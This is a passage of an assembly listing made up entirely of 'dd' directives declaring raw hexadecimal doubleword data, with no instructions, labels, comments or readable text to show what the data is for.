40D95A25h dd 415D232Bh, 6D0002A7h, 85C2043Ch, 2F26ECh, 6CC0120Dh dd 0CB747699h, 277B0800h, 2C784D2Bh, 0F2BD0011h, 2E644493h dd 3103E368h, 0C2799E87h, 55D7983Dh, 0E1690076h, 0B7F67494h dd 960E8D78h, 0A08AB914h, 265536D1h, 0EC700F99h, 0DE9D9B32h dd 0BC1E40E1h, 0D5DC3ACCh, 0D4EFA40Fh, 71E3C0FDh, 28493D77h dd 0B1C5C1h, 0F3AD8C8Bh, 2B4B6014h, 77BE0F09h, 0B5B40195h dd 98506644h, 146705h, 2DDA03BFh, 57BABC53h, 4007737Dh dd 87CF7BACh, 2E657950h, 0BF6F00A9h, 78DA5054h, 0E100F6EBh dd 0A18C177Ch, 5F9DAAh, 7348911Fh, 3D854550h, 2624951Eh dd 0A569C040h, 0A01321h, 0E58A6041h, 933B315h, 0E9008D98h dd 36BB97F1h, 91516Fh, 0F98E4D60h, 44F87913h, 0C0C7E800h dd 660E05A6h, 0D940004h, 14B32410h, 580EB183h, 408D2617h dd 5ED143C1h, 38010011h, 0DE64810h, 84002975h, 93D06DA5h dd 0FF4D6Eh, 0F9E88894h, 0EC045BEFh, 8A7B5A03h, 0D02785A3h dd 73066B2Ch, 4184919h, 9CD47900h, 930F70E4h, 48DDC300h dd 0F835F5FCh, 37AF002Ch, 0DB6E3B3Eh, 20125170h, 6800D803h dd 0D64CBBD7h, 52583DA2h, 0CF509580h, 1C3AC045h, 70D0A70Eh dd 473BC0E1h, 0A49A3Eh, 0D80720A1h, 46CB1BC7h, 16FFCC01h dd 8637FA5Eh, 33D0B6EDh, 0B7EC00F3h, 7CCDDB91h, 3200FDF6h dd 3ADADDABh, 1501B45h, 0ACAD49CAh, 0C8AE3CEAh, 9B0023C6h dd 818DE720h, 0C8B6A9h, 54EB41CBh, 828387F8h, 0AA0096F2h dd 0E2699A6Fh, 237079Fh, 1E521985h, 0EFC0556Ah, 9609ED82h dd 0AE7967h, 41CD1A63h, 0C4311F62h, 0CF520051h, 0E42FDB8h dd 0F0B9E600h, 0EFBA859Fh, 6E050033h, 8E0BF129h, 0F9000635h dd 30695B97h, 77B6599h, 0B605EAB4h, 0A011D6C7h, 41377E00h dd 0BB755B32h, 963407E6h, 404935CFh, 2C0F6E86h, 3005D030h dd 5DC0498h, 0E1AC5671h, 4154C01Dh, 2A008A1Ch, 4C934A3h dd 91797Eh, 0A5F0B688h, 35D7C1C5h, 462C0100h, 0E4B9703Ch dd 0BA9C00CAh, 0EF91CFC2h, 0C67477ADh, 8031463Eh, 8155867Fh dd 6BD71h, 40A98032h, 0FD5B1A74h, 3BB6A300h, 0B06BE892h dd 0ECDA0045h, 0C6DFB74Eh, 0EF70ABFEh, 1A978007h, 0B1B0FFE8h dd 9487A9h, 0E001ADA6h, 2B5721BDh, 65C49507h, 39700681h dd 0E5D9738h, 0DE4FD4E2h, 1B03EA3h, 0AFD0E4F3h, 56EC7C64h dd 38E4800h, 109D4D85h, 9C550025h, 6A588B70h, 0EB00F23Bh dd 3AB178ADh, 1832A13h, 0CAB90E6Fh, 0C4681471h, 1872AA5Ch dd 0AFA19100h, 3BE15B7h, 8766002Eh, 228EBF8h, 940E6A74h dd 0A0D51271h, 0B7445B8Fh, 89BA014Ch, 0AA696F7Fh, 1A9BC4CBh dd 257D387Bh, 0C7921B00h, 0DE47F173h, 60D800BFh, 77768239h dd 2300A93Ch, 0FD17B911h, 38477962h, 980F63Dh, 0DD3C40E5h dd 28787714h, 640E4E00h, 9AA95EC3h, 2B6E020Dh, 0D782F6C5h dd 112DCC80h, 0F1D628Bh, 4B091CC1h, 86560057h, 0F0AE1Fh dd 0BAD67022h, 48BEE903h, 498F9E00h, 965E376Dh, 1CCB7632h dd 803EA842h, 4ADA6FA3h, 7A0025E1h, 5E843677h, 7DC10BB2h dd 0CAB0711h, 1B81534h, 0ECBE1793h, 9017F05Fh, 0BCA88042h dd 6EE8A130h, 1D0E683Fh, 80D7DEBCh, 0F41715CEh, 3D530057h dd 0B039ECCDh, 0BF589061h, 0C6DA0093h, 2BA814EEh, 312003FBh dd 0BA1384D2h, 70153EF1h, 0BB00F70Bh, 0A16881EFh, 4CFEB6DDh dd 6860D9F3h, 7657E4D6h, 27C9B900h, 7C8D0136h, 0B5340023h dd 0B33D5C4h, 0AF007464h, 96C31EBCh, 297B83h, 985A99CCh dd 810569B3h, 8AEF181Ch, 57F1A040h, 0BB9F4Ch, 7333E1C6h dd 0CDE82FA5h, 1B3ED600h, 9D67C42Dh, 4FB0065h, 0BBC1BC3Bh dd 0AE76F018h, 0F37C9E00h, 71349D97h, 820138DEh, 596F790Ah dd 0DBF800E7h, 5B609890h, 0D0E63A00h, 0F997625h, 0D15E1E34h dd 954887E7h, 0D63C90A9h, 0FA03103Bh, 0A82EA78Eh, 83CCE087h dd 48F09040h, 0E800B0B2h, 0F2B8BA92h, 2700375Ah, 7654436Dh dd 68FCDDh, 4B21BFF5h, 5C79325Fh, 7CC8AD00h, 6472E4F2h dd 78251CBDh, 18BC023h, 1FE998D1h, 0C6040D00h, 0B89B7ACBh dd 0B08300F0h, 4A5FE566h, 0CF68FA7h, 0CB00997Eh, 9E133045h dd 0F6227EFh, 40F30592h, 0E7508058h, 0BC0086F8h, 3F9FA7BDh dd 0FF03B8h, 0DF320EA8h, 92B9C117h, 58367E02h, 4118FAF5h dd 0A481C3BBh, 2A614AECh, 0D5F0F8E7h, 92398D00h, 0F75B8A5Fh dd 357107D6h, 0D0FED376h, 1079CB7Dh, 0E6AFBD00h, 360F2144h dd 4ABF034Dh, 7FCD0257h, 23F5A2D8h, 0BD004090h, 0C3F465BAh dd 63DA4B0h, 0FF253229h, 0DE0F90C0h, 0C04B016Fh, 1E1B549Bh dd 0B4350194h, 4FBEC9C1h, 83FED407h, 7BEEF100h, 6D8936EAh dd 0FA4C00F2h, 58D11849h, 9C263AA6h, 0F50098EFh, 0A98FAF17h dd 5CA100BEh, 152174FBh, 0B904BB69h, 8D23ED85h, 16A29FC0h dd 0CF4707D4h, 30A30FB5h, 278EA8B1h, 800E5C3Dh, 7041ABEBh dd 0D3A078h, 0A2DDA444h, 380D0834h, 15393D00h, 4BEE2BC3h dd 4D801DAh, 939B9417h, 0A4D4F847h, 0C403A078h, 8E3FF302h dd 11CE8Ah, 42A2E956h, 792401CDh, 8028993Eh, 634FDE0Eh dd 7BB5B0C1h, 0ED8B02Ch, 0EF6A6734h, 80D5C325h, 0B492BF23h dd 0DB101050h, 0F4C0F500h dd 0F6416A6Eh, 0A5820B9Fh, 4C008685h, 2EFC7F9h, 1963172Ch dd 8E56C800h, 0FFB587h, 0EA91A47Ch, 0DBF413D0h, 98A9E900h dd 406BE2ABh, 9A8503BEh, 0ACD4B0C0h, 7E8D5B90h, 1CEA4D3Fh dd 0AA00CA94h, 10CB2D75h, 1FA20038h, 8D6CB74Fh, 9F048BD7h dd 18358513h, 0ED08B0h, 3966653Eh, 296CD9CAh, 33F26900h dd 0AC0805A8h, 800300F1h, 578A5C3Fh, 2B002CB1h, 14302A4Fh dd 0B885C332h, 0DBF0078h, 3903C999h, 0E7005E06h, 10EE6B3Bh dd 67ACEC79h, 330728FBh, 35A0B3FFh, 0AA0023F0h, 5D149030h dd 73EE1217h, 228B050Dh, 0C0C47736h, 48ED35C7h, 0A03EC1EAh dd 828A166Ch, 34AB7F03h, 0DB5CC068h, 3F640AA5h, 1913197h dd 721DDC61h, 0B548D029h, 0AC7A840Bh, 0AFCF85C9h, 70CB4C0h dd 0E91300D5h, 0D12274E2h, 903BF7Ch, 0A2DEB00Ah, 73EFB93Ah dd 16AFFDC0h, 4067A04Fh, 0BB613D28h, 1730F42Fh, 3BA4F8BFh dd 4A150198h, 547F2A2Eh, 34199532h, 5000FE04h, 0E87A64FFh dd 2B0E2DCFh, 80DC0D92h, 533820E4h, 0F986288Fh, 7C4814CCh dd 3F009014h, 1E9A8A64h, 0B21F3B65h, 346B6B35h, 95AF5B62h dd 0ACA1844Ch, 43C80CDh, 0AFEEABBDh, 0D7912F00h, 93B69CFCh dd 28FA7FC0h, 80C620Eh, 0C12E9ADCh, 42705808h, 1880A9C8h dd 9251DA78h, 621A1080h, 6FCB19A0h, 99041881h, 0CA95118Ah dd 96F80C41h, 0E17B3040h, 0C49CA52h, 0B80D8818h, 0C940A4Eh dd 779A9802h, 457C058Eh, 2FDCC48h, 9665F424h, 10CB3F22h dd 9347BA28h, 0ACE56C5h, 860CAC18h, 316BA8E9h, 0BC0CA043h dd 1479530Ah, 0ED0CA750h, 30247E50h, 3C14E042h, 0A42A1802h dd 8468F478h, 48C01854h, 0B3D34504h, 21034231h, 191D2DBBh dd 24623EB7h, 0D80495h, 5C0CDAAEh, 3F58E969h, 0A60800D4h dd 32E1D68Dh, 9831039Eh, 451A542Ah, 2E6987E9h, 48B567F0h dd 22004C56h, 0F5F199A8h, 344DF6B9h, 9A0904C0h, 4907EDBh dd 0C1A0415Ch, 13A805A1h, 96042031h, 7835A307h, 4210CE5Dh dd 1FE8374Dh, 0B0C68AAFh, 17E645A1h, 0CD20EBE6h, 591F0C33h dd 73886D12h, 1D76D14Ch, 0FB008067h, 5E96A40h, 88602FFh dd 930C99B7h, 1C3EF462h, 2790800h, 629C557Ah, 0AAB1C39Fh dd 0A6E059CAh, 4D18A538h, 44508BE3h, 341726FCh, 0E65A00D0h dd 5111932Eh, 0B9255700h, 6AC16519h, 1E27235h, 3789D417h dd 5122C733h, 703813C8h, 9260FEDBh, 7153C250h, 4A560A03h dd 14C696h, 342E7455h, 6450F7F6h, 0EE001034h, 0E07B60AFh dd 0FD0BB98h, 0A98BD474h, 0F900173h, 312DB88Eh, 8C45D41Ch dd 0D3892C00h, 0B060C6D9h, 41960174h, 0FC0F2623h, 25C7707Bh dd 0B81DC530h, 60E7D957h, 99A69846h, 2700EB54h, 679C3210h dd 5CCD8BE5h, 7A0148FAh, 0BB294C0h, 19752096h, 141CCF4Ch dd 3D689E06h, 2C8B02FCh, 0B8D8AE60h, 3DC37B40h, 287B306h dd 0F08E3181h, 6934CC6Eh, 21B2DC01h, 0F11C7F0Ah, 54CBD8F4h dd 0CFD5C094h, 16709310h, 414599Ch, 9DE90C41h, 0EC948809h dd 539F3E60h, 39A03683h, 0AAE006FDh, 0DD3F80E4h, 5B1909A5h dd 0E85C0245h, 6274D062h, 1A1718AAh, 0C9208880h, 6303D3DCh dd 3950C2D8h, 0F1312C42h, 0E8423D0h, 90C27247h, 5848D19Ch dd 1201BF9Eh, 6E52EF19h, 88287F81h, 95F17801h, 342C01FFh dd 0B4487BF0h, 0E0FA81CCh, 50303AB0h, 79FE6DDh, 6B8CDEFEh dd 81305416h, 0E14D9DA0h, 9488518Dh, 5048202Dh, 0BF290503h dd 8261A107h, 2C8480BDh, 8CE6C5h, 935079FFh, 0D8E06A44h dd 90AAE730h, 13246087h, 738E147h, 0B0F20B56h, 637CEEA5h dd 80163C28h, 9DA8C38h, 4024D8E8h, 0F469A648h, 0AEF0123h dd 8AF6C0A1h, 8B16C952h, 20CB4D40h, 539C442Ch, 0D3181D4Ah dd 31B7139Dh, 8035F608h, 0BFC43FE8h, 48727CE1h, 8E00D46Ah dd 0F896E4CCh, 0DB4D5085h, 54200F30h, 9EF90315h, 0E1E814CBh dd 0A501C4C7h, 7B2360ADh, 0E4305D16h, 0AE4722F1h, 10AFB17h dd 0CA9E9B54h, 0F3B08488h, 489126E3h, 87C4E4B1h, 0A0127075h dd 638DD1h, 0FFA661Ch, 0ACE019C3h, 57009C9Ah, 6248535Bh dd 0FCD79474h, 0DCF8484Ch, 20A85AC0h, 16006F28h, 23575F83h dd 4C8C082Bh, 0A4079C6Ch, 5C59E6A3h, 1A00F651h, 22E24847h dd 131B2E01h, 308AD317h, 2F730510h, 3D407600h, 381295C0h dd 0C7FC095Bh, 880190F7h, 0E8B6158Eh, 7E075FFDh, 739F28CDh dd 0C8C9EA9h, 9E3929F9h, 850493F8h, 0F761354Ah, 2000508Ah dd 28CE1DFEh, 911840D1h, 1790BC51h, 3EE305F6h, 899C68h dd 1D167EDCh, 76023DA3h, 5293A2E9h, 0C1EFE243h, 0F2C09D21h dd 0CCC300DCh, 406851E2h, 0EC2C1D6Bh, 9E04825h, 0F8319DC7h dd 98610A10h, 41EC8C0Ch, 89F88143h, 10176031h, 882209A8h dd 1F00C045h, 1194514Ch, 14B228B1h, 0EC24D0DDh, 0B1D1ED39h dd 0D570F800h, 695258E0h, 82608B24h, 409B2E3Fh, 0D4C88C80h dd 0C75835FCh, 7D2000D0h, 0CA1AF20Fh, 643C289Bh, 0F63F0AE4h dd 86A445D8h, 688A62DDh, 2EBCE902h, 48CC724Fh, 88FE6434h dd 932488DBh, 24020BE9h, 4127EFB6h, 49ECF004h, 0A73B0122h dd 47875445h, 1CD874AEh, 0B9043100h, 777885FCh, 604F0749h dd 7AFD146Eh, 8BD98A08h, 2E2F8310h, 63C084D8h, 7D033E7Bh dd 4541120Eh, 0DABFD040h, 78BE0069h, 0A3FA06D7h, 37003864h dd 0EBAC6E54h, 68169Ch, 81AE335Bh, 0A83A56CBh, 0B68960FBh dd 0B178FB65h, 95FE0405h, 51D4C006h, 68FD0319h, 5C405205h dd 0B27A31F0h, 21A1E00h, 7BF597DEh, 0F081C08Fh, 9E6DA427h dd 1AFBD604h, 0E7C7B01Ch, 0C83E9463h, 0FA0E4F65h, 29153BCEh dd 0FB8F800h, 32EAE24Ah, 91E87530h, 8DDA4Dh, 0FACCF559h dd 19311660h, 0A402047Bh, 0E39F5512h, 0BC908083h, 75B9EB5h dd 974D4952h, 298D50B4h, 3A00FAD5h, 6EF57627h, 0B08CB178h dd 66EA1FC1h, 0EFAC0049h, 0D064866Ch, 0E22CBC00h, 5BC7156Fh dd 11B76290h, 9676EC59h, 92F1BD00h, 0FE47CDB2h, 407B82h dd 54B8790Fh, 71A6410Eh, 9B0C4574h, 0F60C2E4Eh, 6B1F0F85h dd 75008287h, 7E140F66h, 49436502h, 0E00BFE7Bh, 6989B2h dd 0C6488277h, 0C83E03ADh, 0BF962600h, 4CCDE3D5h, 0E77981h dd 31FB393h, 2B1D59A7h, 460E4D00h, 43DF9C84h, 12F094h dd 0B86CF9A0h, 173295BBh, 0BD229907h, 2C30CBBCh, 7D5B3h dd 8844BEF8h, 0EFE9814Dh, 0EDA5430Ch, 71F119Ch, 0A6727148h dd 903B205Bh, 0E407894Eh, 4D4050EDh, 96AB6590h, 38171D56h dd 0C51440A1h, 42F7222Ch, 0D74F80A0h, 0E16FEA00h, 0C89C169Eh dd 76700EFh, 4A12F856h, 3D0024AFh, 0CF60AC5Bh, 0A10C05A5h dd 0CB3F84h, 3E364F30h, 510E4A04h, 68B60917h, 174900EAh dd 0E466D859h, 415D7531h, 1B0004D2h, 0D518C26Fh, 9A79DC14h dd 694A4F4h, 0CEA071FFh, 870260F3h, 3086C8FBh, 0A15DE048h dd 0C26818BAh, 1D3C81AAh, 52890F07h, 10B0C359h, 1642A92h dd 0E06640C0h, 0D4A6F728h, 25005D65h, 1EED9EE7h, 59E39Bh dd 0F6BCB169h, 0D864284Fh, 7A34D301h, 0C6C4EF5Ch, 0D9D5C0h dd 0F79A5E20h, 5FE07110h, 0EC404D1Eh, 0EB2D8441h, 3CC91835h dd 80480880h, 4EC772DEh, 7AFC3B07h, 0C8F07CE7h, 0E6708E07h dd 0B2EC004Bh, 1A37F4D5h, 0C7030C4Fh, 9E51836Fh, 968380h dd 36DCBE68h, 0ABEC5618h, 0F274CB10h, 9A3A6800h, 0D71F2722h dd 70825F0Eh, 0B7D380D6h dd 2E1830h, 5D97B56Bh, 0BC577DCFh, 0E947B901h, 0C43A5C88h dd 9AEBFA40h, 0EC36077Ah, 415D7255h, 803D26A5h, 0F0461711h dd 7799BCDh, 8C5492BEh, 0FCB343B6h, 0D1372003h, 900C0D2Ch dd 4B404FCFh, 109E8F2h, 1979851Fh, 5CD97A82h, 91FBF0h dd 0CF09F867h, 875FFF6h, 7032F900h, 0E938D5ADh, 30F074BDh dd 9520B81Eh, 0B01EFA6Eh, 0C03051Fh, 0C0F1A27Fh, 60A56051h dd 0C889B8FBh, 90307059h, 5F3A90FAh, 6C17BACh, 2AFB468Ch dd 650018FEh, 0EFF4D6B7h, 253BD7h, 0F788F1AAh, 83996375h dd 0E25CC201h, 1455D305h, 0F2F5D8h, 20891DAFh, 282E498Dh dd 0A739F803h, 8F683AE1h, 7796FF71h, 6D1BD8h, 0CD869D37h dd 19EF535h, 63B28900h, 0C3B8FF85h, 0C8EE007Ch, 41D97BEDh dd 0E300BF35h, 8B1337E9h, 333CC6h, 0A93D0965h, 0B42FC951h dd 7F798C00h, 0A073B266h, 3F270098h, 1DF77B8Fh, 8EB03A07h dd 82002B76h, 46BD63A7h, 0A23F7Ch, 3034F1CAh, 162CFCDEh dd 5DCF2800h, 6E9D2329h, 339A01E0h, 34B9880Ah, 8021BAE9h dd 0CDDF22FEh, 0A09CC7h, 84935D64h, 0F44B1CA5h, 5801DC30h dd 0CB79E9h, 4208E39h, 0AB1619B7h, 45D38C0Ch, 18F321C5h dd 581C9648h, 512C1B3Dh, 0C02428E4h, 42FF6103h, 991CC02Bh dd 418700BEh, 254FF22Ch, 3D00D19Eh, 7A702A4Eh, 0C137B75h dd 0F24DACD8h, 8121F0D0h, 22F3051Eh, 358E80D3h, 0D1C40B48h dd 0D4141AA5h, 0F1F02201h, 81D0D975h, 0CD0C1988h, 9051C41Fh dd 38F41412h, 0FDF0C8h, 0B944B65Dh, 42DD69A2h, 0C11C5C0Eh dd 933C409Ch, 73465F7h, 47139557h, 14A02F11h, 0B3D5CCDh dd 0BC630400h, 0DFF3F28Dh, 61810010h, 4C891517h, 0CA1E7DE4h dd 6A409CA9h, 0FB2DB9ABh, 0D4FD016Ch, 7D3CB645h, 4FEFCC92h dd 1F432B07h, 7EC04CF9h, 194B4Eh, 50FDD8B5h, 1B5D5AE3h dd 3DFCC403h, 937F394Dh, 0EDDB087h, 306B0019h, 7D378B59h dd 0B80043FEh, 0EE934B4Fh, 81C1E8h, 836C57B3h, 0BFC295Ah dd 69F8D805h, 4C009716h, 2663B00Eh, 3660798h, 431824h dd 0A75DCD8Fh, 3A07737Dh, 0F1721687h, 0DBAF5880h, 4FED00FFh dd 5AE159CDh, 9D005FBEh, 0F98757D5h, 79420384h, 6C140109h dd 4C1D9B93h, 268EC0D4h, 6A20D4A0h, 19CB73Bh, 88297D11h dd 1880217Fh, 7CA03724h, 0C17BDBCDh, 77F35Ch, 79411FBEh dd 0E0151160h, 2A0D606Dh, 0BB62AE7Ch, 0FBA0691Ch, 20D8BFC9h dd 296E3504h, 460D120h, 52F468B0h, 0CE839h, 0EF2D132Fh dd 0C01B018Eh, 0ED9D1190h, 0F8007142h, 0E5053D32h, 16040897h dd 0F069560Ah, 0F47442C8h, 82B8AB00h, 0A8DD77FAh, 69CA1CCDh dd 139A077Eh, 4BE1901Bh, 2B67ED9Ch, 0F2B06A58h, 0E6B4C70h dd 770A1926h, 843484h, 0EFD52D88h, 70A80320h, 732FFC40h dd 80710C89h, 0A11DB1B8h, 2DD721h, 0C38CEC10h, 65A4FBC7h dd 27E320C0h, 77214Dh, 523E8004h, 584AFC9Fh, 2D282400h dd 5CB54669h, 0FAA41F11h, 0B8DC54AEh, 0C449D600h, 50167E53h dd 2FD1AC15h, 86ED0094h, 7D3DC341h, 0C848C048h, 911095CFh dd 40A8B54Eh, 0E15F01Dh, 21E02C8Fh, 0F95FB85h, 609AF03h dd 0A89B42F5h, 28822F0Ch, 90C2CAh, 3558C571h, 45E4E204h dd 6B015706h, 1A86836h, 4A42B740h, 60D720B5h, 4F3037F2h dd 232881A8h, 59430053h, 0F47A62F7h, 16063E8Bh, 0EDE4076h dd 0F1440FD6h, 800069B8h, 522B9933h, 6FB5C200h, 1239C10Bh dd 0FC233650h, 0A52A3870h, 3D02703Ah, 65931D53h, 13BD18D1h dd 7C7D1000h, 0EE5795F8h, 0E955503Dh, 0F4C90931h, 68205D20h dd 0D481F929h, 0B81A0701h, 4DAF418Eh, 92F33050h, 95930217h dd 0EBD82FCFh, 0A040EE05h, 52928BB1h, 0CD4B3FA1h, 5DA426h dd 4742F1D3h, 83246830h, 1640080Bh, 10E950A1h, 84FBC865h dd 648719EAh, 6A326920h, 0FA1200E3h, 0ED49D1EFh, 0AE039CDDh dd 35E184D6h, 1D98D6A8h, 454CE48h, 80F10F78h, 0F336CCC0h dd 0DC0468F4h, 5940791Bh, 497E91D0h, 0A375000Fh, 9FB8474Bh dd 0F801A499h, 0E3480D4Dh, 0D94161F9h, 27E47E14h, 43450ADDh dd 3E0697Fh, 4DA9B020h, 0DF1C188h, 0A43DE238h, 0F40CE5CBh dd 2660B5h, 0D08ED6E7h, 470CED6Eh, 0F5FC1571h, 9D313601h dd 7DD87BA4h, 0DEBDB840h, 8F6C0E88h, 0B1470F6Ah, 9BF410EFh dd 0CD782DB5h, 3665951Fh, 0DD2E4C80h, 2D61597h, 0AD54BEC1h dd 3C4437DFh, 91412324h, 0A5487338h, 0CC5A8A3Ch, 99072800h dd 7EEB2966h, 0C0D0000Ah, 914DAA0h, 0C8FAA230h, 24DF453Dh dd 105C2841h, 80111BB6h, 0E810232Eh, 1D3D0E5Eh, 3FA082DBh dd 7CAC90DDh, 0A5A23300h, 0EF046222h, 0FE5404B2h, 0CC446DE7h dd 0BEE24258h, 3C7AFA10h, 0C3F45BC4h, 3BF8569Ch, 46069A85h dd 0EAAB05E1h, 59BB0038h, 5702C7E9h, 40954CBh, 8FF4C25Ch dd 2018AFB8h, 5EE77C38h, 19498EFh, 51B6F71Ch, 60CCC39Ch dd 570ED8DDh, 65A681F5h, 0E041F1BFh, 74BE3323h, 0F253F7E0h dd 0E12B3FFAh, 699747BEh, 150009D0h, 4F52A80Eh, 644328C4h dd 48F830A0h, 0E900DD61h, 3840C177h, 17AF3Ah, 79D965AAh dd 0F2A094D3h, 380CFF30h, 0ACD469C2h, 449604E4h, 84F2E13Dh dd 32E42364h, 43E02100h, 0AA406E66h, 0D3A11FACh, 2012C019h dd 9DF07683h, 0BB66D800h, 0E825C1C3h, 146F618h, 9168AE61h dd 2644418Fh, 30EE24E8h, 0C06DAF02h, 886583h, 3EBF259Eh dd 0BA00B36Fh, 0B1738C04h, 24B91945h, 887C3FE3h, 4C00C255h dd 0E7992E5Dh, 71820F7Fh, 14C35A13h, 51C87DEDh, 28D3C332h dd 59730200h, 15AF730h, 3BFD4440h, 70EDE999h, 3600DED2h dd 69B0A8C6h, 3CF4BBC3h, 763D8AA6h, 87B9600h, 0BEBCA7A2h dd 0BD721900h, 0C7A56AE8h, 0ACB80048h, 21A0BBB4h, 3400C995h dd 58C025E9h, 805AB2h, 3AC7AED3h, 4B376C5Eh, 0B1004C7Dh dd 6613A7F3h, 0E2B62Ah, 0C23DA918h, 65F04E08h, 0CE5C7824h dd 5A115E07h, 0ED57B760h, 29A80EC5h, 56808536h, 1D781541h dd 0D155DA00h, 0D222D067h, 3086A0BEh, 1A183EF0h, 6378A40Eh dd 0D0A5B046h, 11F9562Ch, 0B2F32600h, 46FDE1h, 1DF02B5Dh dd 560876FFh, 57AC5500h, 0FAC7AAF6h, 2BF5003Fh, 7D84B8B4h dd 0BA90D970h, 0AF683500h, 0A15186EEh, 0A6FD00D1h, 0C81A9AAAh dd 2BE4B91Fh, 288E8003h, 0EECB26h, 3F207120h, 0BCABB425h dd 97D8CF00h, 0AEC3825Eh, 1F4F05AFh, 3330D6h, 485486C4h dd 0F0DF165h, 28E03261h, 7DA692F0h, 0AD20004Bh, 0F7092CD3h dd 4A00B5B2h, 60088AA7h, 65F1DB9h, 35654976h, 1100089Ch dd 688A9D64h, 184C2E3h, 2CCA524Ch, 0C4355046h, 0CD48A33Ah dd 90FB007Dh, 0A6FAC444h, 9936020Ah, 936529B0h, 740B0848h dd 0E2374C00h, 792C694Eh, 0ED36307Ch, 4AF8B7E0h, 0A8B6B230h dd 0C0EB5F80h, 0F4889798h, 0AB0AA301h, 0BCB3263Eh, 683A1A0Dh dd 1C8196F8h, 80FB8729h, 0A97B5446h, 5D05A756h, 0AB9FB32Fh dd 2500C412h, 4FDC0804h, 9FAA6h, 44D24A14h, 0FB3FE665h dd 83F1AA02h, 876FF966h, 0A22E52BCh, 62B514B9h, 86C97F6h dd 0CA6069B7h, 3981A371h, 8C007947h, 0CBC54B23h, 4C042B49h dd 527CED28h, 0BF4008Ch, 0E34B461Dh, 4600B80Ah, 0EF48219Ch dd 2ED80327h, 0CE3BD754h, 305500D8h, 1379B028h, 860003B4h dd 2B913646h, 6BA68CCh, 0FAEA2C2Eh, 6700304Dh, 87A778E8h dd 0FF8CA03h, 0D4567C1Eh dd 23FE4A60h, 140024B0h, 2AD066F4h, 1F6240D6h, 0E0BABA4h dd 36C171h, 0D9B079BAh, 273F64D8h, 131C922Ch, 0EAA78830h dd 0CF1D02F6h, 5A0C5768h, 807DEF02h, 2C62F2CCh, 0AADC009Ch dd 110F01DDh, 0F600663Dh, 9581429Fh, 18704D7Dh, 0F8EBEFAFh dd 5491FE8Ah, 42478F78h, 304200A7h, 0A62A4D22h, 0CB9F01C6h dd 0E22EB6A8h, 24C1215Ah, 821C1704h, 93C51AACh, 9FC7D2D6h dd 591218C0h, 620D0EF0h, 5A89FF90h, 13FED800h, 6090A1FAh dd 3751BB00h, 0D5AA9961h, 84161F17h, 1F600D3h, 83BDB72Dh dd 26CA9C00h, 0CE4B597Eh, 4EE51E52h, 5E43001Fh, 0C53F7703h dd 2EDCF70Bh, 0F3F1863Ah, 14EB00F0h, 0E163672Dh, 0A20F5AA9h dd 601A6B34h, 0C7804801h, 0B3EF00FDh, 0D3454341h, 8C5C0515h dd 8DEC0755h, 6921B4D7h, 5823B8FCh, 9B4B726h, 583121D8h dd 429711B5h, 0D2C40BD1h, 0D18801F2h, 0C2B8988Eh, 499C4007h dd 42612C83h, 26657FA8h, 36A9B440h, 0A7E74D5h, 7220DB82h dd 0C1BB0080h, 0AB8E61B9h, 73DCC901h, 0BE3A029Ch, 0A8A78020h dd 86DDFDE8h, 8B2FF601h, 569E066Eh, 5F4CD808h, 5A383Ch dd 0ED520C3h, 305C2Fh, 0C5B11295h, 7B9E5B38h, 94C3CA00h dd 7D68F518h, 0A03A1230h, 0AB4816DEh, 0E2019D00h, 24656417h dd 229C9697h, 0A0A7FA8Ch, 0A5C6A504h, 41C520Ch, 0BD6A1880h dd 0D2C53700h, 53959DEFh, 5D0C1666h, 7F03EA6Ch, 89A2F93h dd 5CE92A18h, 4287EC88h, 4410DA1Eh, 0BEF4205Fh, 8A17621h dd 7A426A71h, 909810CEh, 527224A1h, 24A2340Ch, 0B10ADC6h dd 7E18A0E7h, 0C62884AAh, 0C2540C8Dh, 8C31BD18h, 0E8564902h dd 0D4316808h, 0D05AF1DDh, 8AAF0C43h, 618E26EFh, 1ABB5500h dd 1FDEC65h, 0CEC50BBEh, 4D845999h, 0C070877Ah, 5EAA63A8h dd 7F6E0C17h, 0ECE91E1Dh, 0F3423703h, 73DD8009h, 0DC391380h dd 95984040h, 213E8C5h, 0D9319863h, 0F1908959h, 4EE7E0h dd 78F44137h, 24D3DB94h, 98007672h, 0F261854Dh, 628CAA6Ch dd 0B8647E82h, 801CAC60h, 0F1073300h, 0CB945A3Ah, 1528FEB3h dd 4C6A58CCh, 35EA167Eh, 0BA5C1E3Eh, 30317380h, 49D32E4Eh dd 83DC30F9h, 6EFB8000h, 64A4EADCh, 774A0195h, 0A0D86919h dd 235860D5h, 1A2C417Dh, 8500FC56h, 0DCC6F196h, 9AD33AB4h dd 0BC1C4229h, 0E0499710h, 0F0D0C3h, 1F4D7B84h, 0DF7894AEh dd 0E08F9D01h, 256D938h, 1E18C05Eh, 0E17E6817h, 10D10C00h dd 47EBF7FAh, 623800BEh, 0CA33DCD9h, 4C00A9DDh, 9829FD19h dd 287DCFh, 0FE25021h, 0AD9C07A2h, 0DAD35501h, 3B18C7A4h dd 0E0283F4h, 6FAF1C0h, 33DD40E0h, 0FD009D1Ah, 0EE0FF7CFh dd 24B88EFh, 1120DF7Dh, 0DCE0FC38h, 9F00E2B8h, 0D6F358C2h dd 19871Ah, 5F5EB230h, 0D3A96EADh, 2663983Dh, 993FE6B1h dd 0B42988CBh, 9821E1D0h, 0D14100A8h, 0F5EB505Bh, 7F29B06Eh dd 32705853h, 305D2177h, 523BF4F8h, 9A834C60h, 6BC82953h dd 1500FE20h, 0AA372448h, 3A0325h, 6D9AD955h, 7CCCC7FCh dd 1A70D7E8h, 8708FA60h, 32D3912h, 47E78699h, 301D5773h dd 68837D38h, 3D4A6977h, 2B804318h, 61A95AABh, 7A03FA5Eh dd 3672676Eh, 776BC85Fh, 0A00500A3h, 3A82DE19h, 0E57E1848h dd 696C91B0h, 3DD57058h, 0F900658Fh, 25504441h, 2713D495h dd 0EA004717h, 87DF5957h, 0EA620089h, 9DD6198Dh, 0B0C0FEF0h dd 0B9E4A78Eh, 0E87900D9h, 0E2577480h, 0FB0017FFh, 6B2C02ADh dd 0A5F6F8C4h, 984C73ACh, 0E98A009Eh, 73223CBCh, 52E7E47h dd 816785F7h, 61F10083h, 76EE211Eh, 41D9DC00h, 16E98DD0h dd 7CF82B38h, 489EF144h, 0E23FBFCCh, 4175009Dh, 2A384058h dd 3493B3h, 0B02DD01Eh, 5B00AD2Ch, 0FB41478Ch, 95CD5Eh dd 13297BE5h, 0B1ED832Dh, 30D14A01h, 0D55947E9h, 49E970h dd 0A765504Bh, 0BE7D85BAh, 0A6E0DC91h, 80671Eh, 271F6B72h dd 0AA982C1Ch, 2E521015h, 1D02D684h, 8B386A43h, 0D800DFA8h dd 